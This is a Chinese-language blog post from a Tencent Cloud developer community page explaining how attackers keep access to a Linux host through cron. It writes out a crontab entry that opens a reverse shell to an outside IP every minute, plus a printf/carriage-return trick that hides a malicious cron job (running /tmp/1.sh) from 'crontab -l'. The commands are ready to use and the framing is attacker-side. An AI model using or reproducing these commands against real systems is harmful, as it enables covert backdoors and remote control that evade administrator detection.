Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >在Linux中创建隐匿的计划任务

在Linux中创建隐匿的计划任务

原创
作者头像
一只特立独行的兔先生
发布于 2024-02-17 02:24:46
发布于 2024-02-17 02:24:46
9570
举报

Linux中的计划任务可以让系统周期性地运行所指定的程序或命令,攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文,这里只讲述攻击者如何利用该技术进行权限维持。

首先,使用命令service cron status来检查系统中的计划任务服务是否正常运行,执行结果如图1-1所示,running则代表正在运行。然后,使用命令crontab -l来查看当前用户在系统中创建的计划任务,执行结果如图1-2所示。

图1-1 检查计划任务服务是否正常运行
图1-1 检查计划任务服务是否正常运行
图1-2 查看当前用户在系统中创建的计划任务
图1-2 查看当前用户在系统中创建的计划任务

在Linux中“万物皆文件”,crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。例如当前使用的用户为root,那么执行crontab -l命令其实是执行了cat /var/spool/cron/crontabs/root命令,如图1-3所示。所以,我们也可以通过直接编辑/var/spool/cron/crontabs/root来编辑计划任务。

图1-3 计划任务文件
图1-3 计划任务文件

那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root,在计划任务中写入一个每分钟建立回连会话的语句,这样可以达到权限维持的效果。但是这样直接写入会非常容易被发现,只需执行crontab -l就可以看到刚刚写入的命令,如图1-4所示。

图1-4查询创建的计划任务
图1-4查询创建的计划任务

前面已经说过执行crontab -l其实就是执行“cat /var/spool/cron/crontabs/当前登录用户的用户名”,而cat命令自身存在一定缺陷,它会自动识别转义字符,比如执行命令printf "123\r" > 1.txt,执行完成后使用cat命令读取该文件,如图1-5所示,可以看到无法读取123,只有Vim才可以看见文件的内容,如图1-6所示。那么,攻击者可以利用这个特性,写入一个无法被crontab -l获取的计划任务。

图1-5写入隐藏内容
图1-5写入隐藏内容
图1-6 Vim查看隐藏内容
图1-6 Vim查看隐藏内容

执行命令(crontab -l;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami`%100c\n")|crontab -,执行结果如图1-7所示,可以发现获取的内容没不存在计划任务,使用Vim打开该文件,结果如图1-8所示。通过这样的方法可以隐藏计划任务。

图1-7 无法读取隐藏内容
图1-7 无法读取隐藏内容
图1-8 Vim可以读取隐藏内容
图1-8 Vim可以读取隐藏内容

我正在参与2024腾讯技术创作特训营第五期有奖征文,快来和我瓜分大奖!

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
计划任务后门 | Linux 后门系列
这个服务的使用也是比较简单,cron服务都是使用crontab 命令来进行设定计划任务的
意大利的猫
2020/08/20
7.1K2
linux-隐藏你的crontab后门
比如我们通过redis写crontab后,管理员上线 执行 crontab-l 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?
drunk_kk
2021/03/23
4.9K1
linux-隐藏你的crontab后门
Redis未授权访问漏洞利用总结
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Gamma实验室
2020/12/23
8.6K0
Redis未授权访问漏洞利用总结
实验(十一)进程优先级、计划任务
使用ps命令查看所有用户进程中含有“vi”关键字的进程。参数 -le 表示查看进程的详细信息,使用| grep "vi"操作表示在查看所有进程的基础上筛选出包含vi的某些记录。
esse LL
2023/05/17
3670
redis未授权访问利用汇总
Redis 基于内存运行并支持持久化,采用key-value(键值对)的存储形式,是目前分布式架构中不可或缺的一环。
没事就要多学习
2024/07/18
2000
redis未授权访问利用汇总
十一.Linux计划任务
-l:列出指定队列中等待运行的作业;相当于atq(若计划被执行,则任务结束,不会再显示在列表)
对弈
2019/09/04
2.8K0
十一.Linux计划任务
Linux从入门到精通(十一)——计划任务
​ 在很多时候为了自动化管理系统,我们都会用到计划任务,比如关机,管理,备份之类的操作,我们都可以使用计划任务来完成,这样可以是管理员的工作量大大降低,而且可靠度更好。 Linux 系统支持一些能够自动执行任务的服务,我们称为计划任务。
传说之下的花儿
2023/04/16
9130
Linux系统管理—linux计划任务和日志的管理
一种是突发性的,就是这次做完了这个事,就没有下一次了,临时决定,只执行一次的任务
全栈程序员站长
2022/09/14
2.4K0
Linux系统管理—linux计划任务和日志的管理
Linux系统之计划任务crontab的基本使用
crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表。
江湖有缘
2023/11/03
1.8K1
Linux系统之计划任务crontab的基本使用
Linux-Crontab计划任务
我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表
11pmsleep
2022/10/31
2.2K0
Linux命令之Crontab——定时任务
rontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
浩Coding
2020/03/04
1.3K0
linux定时运行命令脚本——crontab
Linux中,周期执行的任务一般由cron这个守护进程来处理  ps -ef | grep cron 
阳光岛主
2019/02/19
4.4K0
07_Linux基础-计划任务-备份脚本-变量定义和使用
@TOC07_Linux基础-计划任务-备份脚本-变量定义和使用---一. 计划任务主要内容:周期性的计划任务crontab==/var/spool/cron/ 统一存放计划任务的目录====/var/log/cron日志文件====/etc/cron cron.daily/ cron.hourly/ cron.monthly/ cron.weekly/ crontab的顺风车==/etc/crontab==crontab -l====crontab -e==crontab ==-u cali== -ecr
mycpen
2022/09/02
1.3K0
搞它!!!Linux系统中查看进程和计划任务管理
程序: 保存在 、光盘等介质中的可执行代码和数据静态保存的代码 进程: 在CPU及内存中运行的程序代码动态执行的代码
不吃小白菜
2020/09/03
2.7K0
搞它!!!Linux系统中查看进程和计划任务管理
【Linux】学习笔记(是) Linux 计划任务 crontab
crontab -e 选择 第二个 vim 即可 在最后加入如下代码 */1 * * * * touch /home/shiyanlou/$(date +\%Y\%m\%d\%H\%M\%S) 格式是
韩旭051
2020/07/02
1.2K0
Linux自有服务—防火墙和计划任务
Linux常用自有服务有NTP时间同步服务、firewalld防火墙服务和crond计划任务服务,NTP在上一篇中讲过,这次主要来说一下防火墙firewalld与计划任务的相关内容。如下。
reload
2024/02/20
1980
Linux自有服务—防火墙和计划任务
Linux系统安全 | Linux下性能监控、守护进程与计划任务管理
程序:保存在硬盘、光盘等介质中的可执行代码和数据,静态保存的代码 进程:在cpu及内存中运行的程序代码,动态执行的代码,每个进程可以有多个子进程(线程) PID : 标识进程的唯一标识 ps:静态查看系统进程 top:动态查看系统进程 pgrep:表示查看指定服务的PID 如: pgrep httpd 查看httpd服务的PID -u 表示查看指定用户的进程信息 比如:pgrep -u named httpd 第一个参数named为named用户,第二个参数表示进程名称为 httpd ,表示查看named用户的httpd进程的PID。与 ps -aux | grep httpd 同样的作用 pstree:以树状结构显示进程的关联信息 进程后台管理 Ctrl+z 前台进程调入后台,挂起,进程并没有死,只是卡在那里 Ctrl+c 结束进程 jobs 查看后台进程 fg 3 将后台第3个进程在前台运行(不加数字时,jobs程序上为‘+’的程序优先被调回) bg 2 将后台第2个进程在后台运行(不加数字时,jobs程序上为‘+’的程序优先被调回) & 直接将进程放在后台运行 kill 向进程发送信号,不加参数时,默认发送 kill 信号 。强制杀掉进程:kill -s 9 PID 这里是 -s 9 参数的作用的传递给进程的信号是9,即强制终止,结束进程 killall 杀死同一命令的所有进程 top : 反应系统进程动态信息,默认每3秒更新一次,顶部始终显示系统当前最活跃的进程,此时还可以接受用户的键盘输入向进程发送信号等待
谢公子
2022/01/13
1.1K0
Linux系统安全 | Linux下性能监控、守护进程与计划任务管理
Linux crond 计划任务添加
############ crond 服务命令 ############ /sbin/service crond start # 启动服务 service crond status # 查看状态 /sbin/service crond stop # 关闭服务 /sbin/service crond restart # 重启服务 /sbin/service crond reload # 重新载入配置 chkconfig –level 35
eisc
2020/09/21
2.7K0
计划任务及日志管理
crond的概念和crontab是不可分割的。crontab是一个命令,常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行
Cyylog
2020/08/19
8360
Linux下定时任务(系统任务调度、用户任务调度)crontab使用详解
版权声明:本文为耕耘实录原创文章,各大自媒体平台同步更新。欢迎转载,转载请注明出处,谢谢
耕耘实录
2018/12/20
2.3K0
相关推荐
计划任务后门 | Linux 后门系列
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档